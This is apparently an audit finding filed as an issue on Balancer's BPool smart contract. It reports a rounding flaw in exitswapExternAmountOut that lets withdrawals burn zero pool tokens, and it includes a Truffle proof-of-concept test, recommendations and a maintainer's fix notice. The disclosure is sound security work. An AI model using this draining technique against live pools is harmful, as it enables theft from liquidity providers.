Single asset exit function allow withdrawings assets for free

[montyly]

Severity: Undetermined
Difficulty: Low

Description

A rounding issue in exitswapExternAmountOut allows users to withdraw assets without burning pool tokens.

exitswapExternAmountOut computes the amount of pool token to be burnt with calcPoolInGivenSingleOut:
https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L652-L671

Due to rounding approximation, calcPoolInGivenSingleOut can return 0 while tokenAmountOut is greater than 0.

As a result, an attacker can withdraw assets without having pool tokens.

An Echidna and Manticore scripts are provided showing how to trigger the issue.

Exploit Scenario

Bob has a pool with two assets. The first asset has a balance of 9223372036854775808. There is 9223372036854775808 pool token. Eve is able to withdraw 4 wei of the asset for free. Eve calls multiple time exitswapExternAmountOut to make a considerable profit.

A truffle test is provided below.

Recommendation

Short term, revert in exitswapExternAmountOut if poolAmountIn is 0.

Long term, consider to:

• Check for the 0 value when transferring values if appropriate.
• Favor exact amount-in functions over exact amount-out.
• Use Echidna and Manticore to test the rounding effects

Testcase

const BPool = artifacts.require('BPool');
const BFactory = artifacts.require('BFactory');
const TToken = artifacts.require('TToken');
const TTokenFactory = artifacts.require('TTokenFactory');

contract('BPool', async (accounts) => {
    const admin = accounts[0];
    const user1 = accounts[1];
    const { toHex } = web3.utils;
    const { toWei } = web3.utils;
    const { fromWei } = web3.utils;
    const MAX = web3.utils.toTwosComplement(-1);

    let tokens; // token factory / registry
    let TUSD;
    let DAI;
    let tusd;
    let dai;
    let factory; // BPool factory
    let pool; // first pool w/ defaults
    let POOL; //   pool address

    const initial_balance = toWei('100', 'ether')
    

    const initial_tusd_balance = toWei('9223372036854775808', 'wei'); // 10**6
    const initial_dai_balance = toWei('1', 'ether');
    const tokenAmountOut = toWei('4', 'wei');
    const initial_pool_share_supply = toWei('9223372036854775808', 'wei'); 

    before(async () => {
        tokens = await TTokenFactory.deployed();
        factory = await BFactory.deployed();

        POOL = await factory.newBPool.call();
        await factory.newBPool();
        pool = await BPool.at(POOL);

        await tokens.build(toHex('TUSD'), toHex('TUSD'), 6);
        await tokens.build(toHex('DAI'), toHex('DAI'), 6);

        TUSD = await tokens.get.call(toHex('TUSD'));
        tusd = await TToken.at(TUSD);

        DAI = await tokens.get.call(toHex('DAI'));
        dai = await TToken.at(DAI);

        // Admin balances
        await tusd.mint(admin, initial_balance); 
        await dai.mint(admin, initial_balance); 
    });


    describe('Test exitswapExternAmountOut', () => {

        it('Admin approves tokens', async () => {
            await tusd.approve(POOL, MAX);
            await dai.approve(POOL, MAX);
        });

        it('Admin binds tokens', async () => {
            await pool.bind(TUSD, initial_tusd_balance, toWei('1'));
            await pool.bind(DAI, initial_dai_balance, toWei('1'));
        });

        it('Admin set the pool public', async () => {
            await pool.finalize(initial_pool_share_supply);
        });

        it('User1 exit without asset', async () => {

            await pool.exitswapExternAmountOut(TUSD, tokenAmountOut, 0, { from: user1 });
            
            // User should have no TUSD token
            const userTUSDalanceAfter = await tusd.balanceOf(user1);
            assert.equal(0, fromWei(userTUSDalanceAfter));
        });

    });
});

[mikemcdonald]

Fixed. Checks for 0 value on transfer for exitswap

https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol#L672